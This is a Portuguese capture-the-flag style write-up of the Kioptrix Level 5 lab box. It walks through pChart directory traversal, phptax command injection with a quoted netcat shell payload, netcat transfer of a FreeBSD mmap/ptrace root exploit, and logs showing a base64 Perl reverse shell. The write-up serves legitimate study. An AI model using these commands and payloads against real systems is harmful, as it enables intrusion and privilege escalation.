WriteUp Kioptrix: Level 5

Infraestrutura, oscp, Recon, Security, Web 12 Minutes

Essa é a writeup da 5º box do volume Kioptrix que faz parte da ementa de estudo para a OSCP. Até o momento não existem outros níveis além do 5º. Essa box em particular eu tive alguns problemas para iniciar ela, fiz o deploy dela no VirtualBox, utilizei o ovftool para converter o arquivo do VMware(nada pessoal, meu sistema onde estou virtualizando teve um upgrade de kernel e crashou o Vmware-Player). Porém sei lá porquẽ tive dois problemas, o primeiro dele era que a VM não conseguia dar boot e no website do vulnhub tem aparentemente um problema públicado lá bem semelhante ao que eu estava tendo mas descobri depois que não tem relação. A primeira coisa é alterar o sistema para x64 e a segunda é definir a interface de rede para a INTEL PRO/1000 MT Server(8254EM). Os problemas relatados lá no website do vulnhub sobre essa Box, era um problema de compatibilidade, eu segui o procedimento porém os outros problemas foram resolvidos e não sei se o procedimento de lá tem alguma relação, whatever, right?

Machine Name: Kioptrix2014 (#5)
Resource: https://www.vulnhub.com/entry/kioptrix-2014-5,62/

Observações:

  • Necessário definir a interface de rede em bridge utilizando o tipo de adaptador INTEL PRO/1000 MT Server(8254EM).
Configuração de tipo de adaptador em VirtualBox
  • Necessário definir o sistema FreeBSD x64.
Configuração de arquitetura do sistema operacional.

Reconhecimento

O endereço IPv4 do alvo é 172.16.0.101, descobri sniffando o tráfego por requisições de DHCP devido ao problema com o drive da interface rede, foi mais rápido sniffar do que passar um scan de rede toda vez que fizesse uma tentativa de subir a interface.

Fingerprint:

Na etapa de reconhecimento foi possível identificar que o alvo possui duas portas de rede abertas, os serviços expostos são referentes à aplicações web sendo ambas HTTP.

~$ sudo nmap -sS -sC -sV --mtu 152 -oN nmap_scan 172.16.0.101 
Starting Nmap 7.60 ( https://nmap.org ) at 2020-01-18 19:39 -03
Stats: 0:00:37 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.55% done; ETC: 19:39 (0:00:00 remaining)
Nmap scan report for 172.16.0.101
Host is up (0.0045s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE VERSION
22/tcp   closed ssh
80/tcp   open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-title: Site doesn't have a title (text/html).
8080/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 08:00:27:08:3B:FD (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.20 seconds

Uma analise nos serviços, nas portas 80 e 8080 revelaram que está rodando o serviço Apache httpd 2.2.21 no servidor e o sistema operacional é FreeBSD e possui os seguintes módulos instalados mod_ssl/2.2.21, OpenSSL/0.9.8q, DAV/2 e PHP/5.3.8. O módulo mod_ssl/2.2.21 é vulnerável à Remote Buffer Overflow, contudo a versão do Apache2 não permite a exploração do mesmo.

Durante a execução dos testes na porta 80/TCP, onde é executado o serviço Apache httpd 2.2.21, foi identificado um endpoint no diretório http://172.16.0.101/pChart2.1.3/index.php.

Identificação de endpoint pChart2.1.3/index.php através de requisição curl.

O endpoint pChart2.1.3 possui multiplas vulnerabilidades, sendo elas Directory Traversal e Cross-Site Scripting. A falha empregada para comprometer a máquina foi o Directory Traversal, de acordo com o exploit público(https://www.exploit-db.com/exploits/31173). Uma PoC para validar a falha foi realizada utilizando o comando curl e confirmou que a vulnerabilidade está presente no alvo.

curl -qs 'http://172.16.0.101/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd'| sed 's/<br \/>/\n/g' | sed 's/&amp;//g' | sed 's/&nbsp\;/ \& /g' | grep -vE "span|code"
Dump de arquivo /etc/passwd através de Directory traversal.

Outros payloads:

A exploração do Directory Traversal permitiu obter acesso ao arquivo de configuração do Apache2. Em distribuições BSD(FreeBSD), diferente de distribuições debian based, as configurações do Apache2 podem ser encontradas no diretório /usr/local/etc/apache22/httpd.conf. O arquivo de configuração do Apache2 revelou informações de Directory Root, Document Root das aplicações que servem a porta 80 e 8080, assim como módulos do Apache2 e outras propriedades.

curl -qs 'http://172.16.0.101/pChart2.1.3/examples/index.php?Action=View&Script=/usr/local/etc/apache22/httpd.conf'| sed 's/<br \/>/\n/g' | sed 's/&amp;//g' | sed 's/&nbsp\;/ \& /g' | sed 's/&lt;/</g' | sed 's/&gt;/>/g' | grep -vE "span|code"
Dump de arquivo /usr/local/etc/apache22/httpd.conf expôs mecanismo de segurança.

Foi identificado que na configuração do Apache2 existe uma restrição empregando a feature de SetEnvIf, restringindo o acesso a apenas User-Agentes que se iniciam com Mozilla/4.0 Mozilla4_browser, a validação é realizada através de expressões regulares, caso o valor de user-agent atenda o requisito definido na regra, será possível acessar a aplicação na porta 8080 qual serve o website no diretório /usr/local/www/apache22/data2

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

Foi empregado a extensão do firefox chamada de UserAgent Switcher(https://addons.mozilla.org/en-US/firefox/addon/uaswitcher/). A extensão permite que o user-agent seja alterado em tempo real de acordo com a necessidade. É necessário configurar a extensão com o user-agent desejado uma vez que não existe na configuração da extensão, a configuração foi realizada na aba de extensões do firefox(about:addons) dentro das propriedades do UserAgent Switcher.

Com user-agent configurado agora é possível acessar a aplicação na porta 8080/TCP. O acesso à url http://172.16.0.101:8080/ revelou um indexess indicando a existência do endpoint configurado como phptax.

$ curl -qs  --user-agent "Mozilla/4.0 Mozilla4_browser" "http://172.16.0.101:8080/" 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /</title>
 </head>
 <body>
<h1>Index of /</h1>
<ul><li><a href="phptax/"> phptax/</a></li>
</ul>
</body></html>

A validação da existência do endpoint foi realizada através do browser na url http://172.16.0.101:8080/phptax/ e identificou que o endpoint está operando.

Página inicial da aplicação phptax.

A aplicação phptax possui uma vulnerabilidade que se categoriza como Remote Code Execution(ou RCE) e possui um exploit público em https://www.exploit-db.com/exploits/21665. O exploit público foi adotado como base para validar se a aplicação possui de fato um vulnerabilidade de RCE.

PoC Retirada de Exploit-DB:

http://localhost/phptax/index.php?pfilez=1040d1-pg2.tob;nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

No nosso ambiente, não foi possível conectar remotamente na máquina do ofensor devido à restrições do FreeBSD, como por exemplo a ausência do Bash, ausência de módulos do python para conexão reversa e outros problemas técnicos. Um dos testes que apontou que a falha não se trata de um falso positivo, foi a execução de um teste de ping, onde através da falha de RCE, um comando de ping foi disparado contando em três pacotes para a máquina do invasor, foi identificado que ocorreu um aumento significativo no tempo de resposta da requisição, a aplicação estaria tentando pingar o ativo ofensor porém estaria obtendo timeout.

http://172.16.0.101:8080/phptax/index.php?pfilez=1040ab-pg2.tob;ping%20-c%203%20172.16.0.24;&pdf=make

Durante a execução do testes de ping, um sniffer foi configurado na máquina do ofensor porém não foram identificados pacotes na interface de rede, sintoma categorizado por firewall de rede configurado no servidor alvo.

Para a prova de conceito, foi realizado uma PoC que envolveu escrever a saída do comando da RCE(uma vez que o RCE não retorna nada na tela) para um arquivo e realizar a leitura empregando a falha de Directory Traversal.

Exploração da falha de RCE em http://172.16.0.101:8080/phptax/index.php?pfilez= teve como execução do comando ;id >/tmp/fuck;, onde o resultado do comando id irá ser armazenado em /tmp/fuck que será utilizado para a confirmação da falha.

$ curl 'http://172.16.0.101:8080/phptax/index.php?pfilez=1040ab-pg2.tob;id%20%3E/tmp/fuck;&pdf=make'

Exploração de Directory Traversal para validar se o arquivo /tmp/fuck existe e possui conteudo:

$ curl "http://172.16.0.101/pChart2.1.3/examples/index.php?Action=View&Script=/tmp/fuck"
<code><span style="color: #000000">
uid=80(www)&nbsp;gid=80(www)&nbsp;groups=80(www)<br /></span>

A prova de conceito confirmou que a falha de RCE existe e o usuário que está rodando a aplicação é o www(uid 80) e está inserido no grupo www(gid80).

Exploração:

Dado as limitações do sistema alvo onde softwares como wget, curl, bash e outros não estão instalados, foram empregadas ambas as falhas de RCE e Directory Traversal para obter uma shell no sistema alvo. Um programa foi escrito para facilitar a exploração do alvo. Dado um payload encodado em base64 o programa irá transferir linha por linha para o alvo através da execução de RCE e armazenando em um arquivo e posteriormente irá ainda através da RCE, decodificar o payload e executar o mesmo, obtendo então acesso de usuário id 80 no sistema alvo.

PoC de exploração utilizando código freak que visa automatizar exploração e deploy de payload.

O código pode ser encontrado github(https://github.com/d34dfr4m3/kioptrix_l5_xpl).

Escalação de Privilégios:

Com acesso a shell no sistema através de uma conexão reversa usando um payload em perl, foi possível enumerar informações do sistema operacional utilizando o usuário www(id 80).

Foi identificado que o sistema é um FreeBSD na release 9.0. O FreeBSD permite que arquivos sejam mapeados para a memória. Todo o arquivo ou partes dele podem ficar disponíveis para um processo a partir do seu endereço de memória. Então o processo pode acessar o arquivo através da memória ao invés de chamadas de I/O do filesystem. Devido a insuficiencia de verificação de permissões no sistema de memória virtual, um processo de rastreamento(ou tracing process) pode modificar partes do espaço do endereço de memória do processo rastreado qual o procecsso rastreado por si só não tem permissão de escrita. Essa falha é identificada como CVE-2013-2171(https://nvd.nist.gov/vuln/detail/CVE-2013-2171) e mais informações podem ser obtidas aqui https://www.coresecurity.com/content/freebsd-mmap-ptrace-privilege-escalation-exploit.

$ uname -a
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan  3 07:46:30 UTC 2012     root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  amd64

Durante a etapa de exploração da CVE-2013-2171, foi identificado que existe um exploit público disponível no exploit-db(https://www.exploit-db.com/exploits/26368). No sistema alvo foi detectado que não existem programas clientes web(curl,wget). Para contornar o problema, o download foi realizado localmente na máquina do ofensor e transferido via netcat para o sistema alvo.

O download do exploit foi realizado para a máquina do ofensor através do programa wget e renomeado para privescv.c. Posteriormente o netcat foi iniciado na porta 443 em listen para receber a conexão da máquina alvo e transferir o arquivo que contém o código em C referente ao exploit do mmap/ptrace de Local Privilege Escalation.

# Máquina do ofensor, preparando arquivo para transferência para máquina alvo.
wget -q https://www.exploit-db.com/raw/26368 -O priescv.c 
$ sudo nc -tlvp 443 < privesc.c 
Listening on [0.0.0.0] (family 0, port 443)
Connection from 172.16.0.101 51913 received!

Na máquina alvo, com a shell obtida anteriormente, foi possível conectar via netcat na máquina do ofensor que se encontra no endereço IPv4 local 172.16.0.24 onde a porta 443 foi atribuida a conexão e transferência do arquivo de exploit.

#Máquina alvo
$ nc 172.16.0.24 443 > privesc.c
$ ls -l privesc.c
-rw-r--r--  1 www  wheel  2213 Jan 19 00:58 privesc.c

Posteriormente ao download, na máquina alvo, com a shell obtida anteriormente através do payload em perl, foi identificado que a máquina alvo possui o compilador GCC na versão version 4.2.1. O compilador gcc foi necessário para compilar o código em C referente ao exploit da CVE-2013-2171, uma vez compilado, o exploit foi executado e conseguiu obter acesso root(id 0) no sistema alvo, comprometendo o sistema com usuário administrador.

Uma vez com usuário root, foi possível obter acesso ao diretório do /root e a outros arquivos administrativos do sistema, tais como arquivos de log de segurança, arquivos de log do servidor web, scripts de monitoramento, acesso ao Host Intrusion Detection System(OSSEC), acesso a logs de monitoramento de alteração no filesystem(diretórios e arquivos) do sistema e outros arquivos sensíveis.

id;pwd;ls -l
uid=0(root) gid=0(wheel) egid=80(www) groups=80(www)
/root
total 76
-rw-r--r--  2 root  wheel    793 Jan  3  2012 .cshrc
-rw-------  1 root  wheel      0 Apr  6  2014 .history
-rw-r--r--  1 root  wheel    151 Jan  3  2012 .k5login
-rw-r--r--  1 root  wheel    299 Jan  3  2012 .login
-rw-------  1 root  wheel      1 Mar 30  2014 .mysql_history
-rw-r--r--  2 root  wheel    256 Jan  3  2012 .profile
----------  1 root  wheel   2611 Apr  3  2014 congrats.txt
-rw-r--r--  1 root  wheel  44693 Jan 19 07:50 folderMonitor.log
lrwxr-xr-x  1 root  wheel     25 Mar 29  2014 httpd-access.log -> /var/log/httpd-access.log
-rwxr-xr-x  1 root  wheel    574 Apr  3  2014 lazyClearLog.sh
-rwx------  1 root  wheel   2366 Mar 28  2014 monitor.py
lrwxr-xr-x  1 root  wheel     44 Mar 29  2014 ossec-alerts.log -> /usr/local/ossec-hids/logs/alerts/alerts.log

No diretório /root foi localizado o arquivo congrats.txt, concluindo o desafio da Kioptrix level 5!

Dump de arquivo /root/congrats.txt.

Conclusão

Perdi bastante tempo tentando conciliar as duas falhas de LFI e RCE para conseguir uma shell no sistema, lendo a writeup(abatchy) eu vi que a galera utilizou um módulo do fucking metasploit exploit/multi/http/phptax_exec, eu perdi algumas horas escrevendo praticamente um “módulo” — sim,entre aspas– para automatizar o deploy de uma shell, tive alguns problemas de encoding e limitações por causa do PATH, como fui fazendo na mão né, mas funcionou maneiro porém perdi muito tempo nisso. Acredito que é melhor procurar soluções que já existem antes de sair escrevendo código até porquê não posso me dar o luxo por exemplo, durante o exame da OSCP parar 4 horas para escrever uma ferramenta de exploração pois o tempo de prova é de apenas 24h e são 6 máquinas para ownar se não me engano. Então a lição aqui ficou de “Para de inventar a roda caralho”, sim, em italico e negrito,f odase right guys?

Antes de meter o pé, eu dei uma olhada nos arquivos de log conforme o owner da box sugeriu, para ver quanto ruido eu causei na rede.

# Total de 55 alertas
cat ossec-alerts.log | grep -i Alert | wc -l
      55
# De 55 alertas, 50 tiveram como categorização de ataque web.
cat ossec-alerts.log | grep -i attac | wc -l 
      50

Amostra dos logs:

** Alert 1579438234.19268: - apache,
2020 Jan 19 07:50:34 kioptrix2014->/var/log/httpd-error.log
Rule: 31410 (level 3) -> 'PHP Warning message.'
Src IP: 172.16.0.24
[Sun Jan 19 07:50:33 2020] [error] [client 172.16.0.24] PHP Warning:  imagepng(): Unable to open './data/pdf/1040ab-pg2.png;echo dXNlIFNvY2tldDskaT0iMTcyLjE2LjAuMjQiOyRwPTgwO3NvY2tldChTLFBGX0lORVQsU09DS19T>>/tmp/reverseshell;' for writing: No such file or directory in /usr/local/www/apache22/data2/phptax/drawimage.php on line 70

** Alert 1579438236.19765: - web,accesslog,attack,
2020 Jan 19 07:50:36 kioptrix2014->/var/log/httpd-access.log
Rule: 31106 (level 6) -> 'A web attack returned code 200 (success).'
Src IP: 172.16.0.24
172.16.0.24 - - [19/Jan/2020:07:50:35 -0500] "GET /phptax/drawimage.php?pfilez=1040ab-pg2.tob;cat%20/tmp/reverseshell%20|%20uniq%20|%20tail%20-n%204%20|%20/usr/bin/b64decode%20-r%20>%20/tmp/rshell%202>/tmp/teste;%3E/tmp/fuck5;&pdf=make HTTP/1.1" 200 3 "-" "Mozilla/4.0 Mozilla4_browser"

Outra funcionalidade interessante é que o owner da box escreveu um programa em python, que pode ser encontrado em /root/monitor.py. Esse programa tem como função monitorar as alterações no filesystem, sejam alterações em diretórios ou arquivos, como por exemplo, exclusão, escrita, criação. Então todos os logs são armazenados no arquivo de log /root/folderMonitor.log

Uma amostra interessante do arquivo /root/folderMonitor.log é o momento em que ocorre a escalação de privilegios, onde é bem visivel que foi executado um binário e logo depois uma alteração do usuário root no mesmo diretório ocorre.

2020-01-19 00:59:51 - User [www] created file: /tmp/privesc
2020-01-19 00:59:51 - User [root] modified directory: /tmp

Ainda sobre o monitoramento de arquivos e diretórios, segue uma amostra do barulho que o programa freakyou.sh faz quando é executado pois coloca muitos arquivos em disco:

2020-01-19 07:50:34 - User [www] modified file: /tmp/reverseshell
2020-01-19 07:50:35 - User [www] modified file: /tmp/reverseshell
2020-01-19 07:50:36 - User [www] modified file: /tmp/teste
2020-01-19 07:50:36 - User [www] modified file: /tmp/reverseshell
2020-01-19 07:50:36 - User [www] modified file: /tmp/fuck5
2020-01-19 07:50:36 - User [www] modified file: /tmp/rshell
2020-01-19 07:50:38 - User [www] modified file: /tmp/fuck5

Bom é isso, happy hack to you!

Recursos:

Published by Anom

Published

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.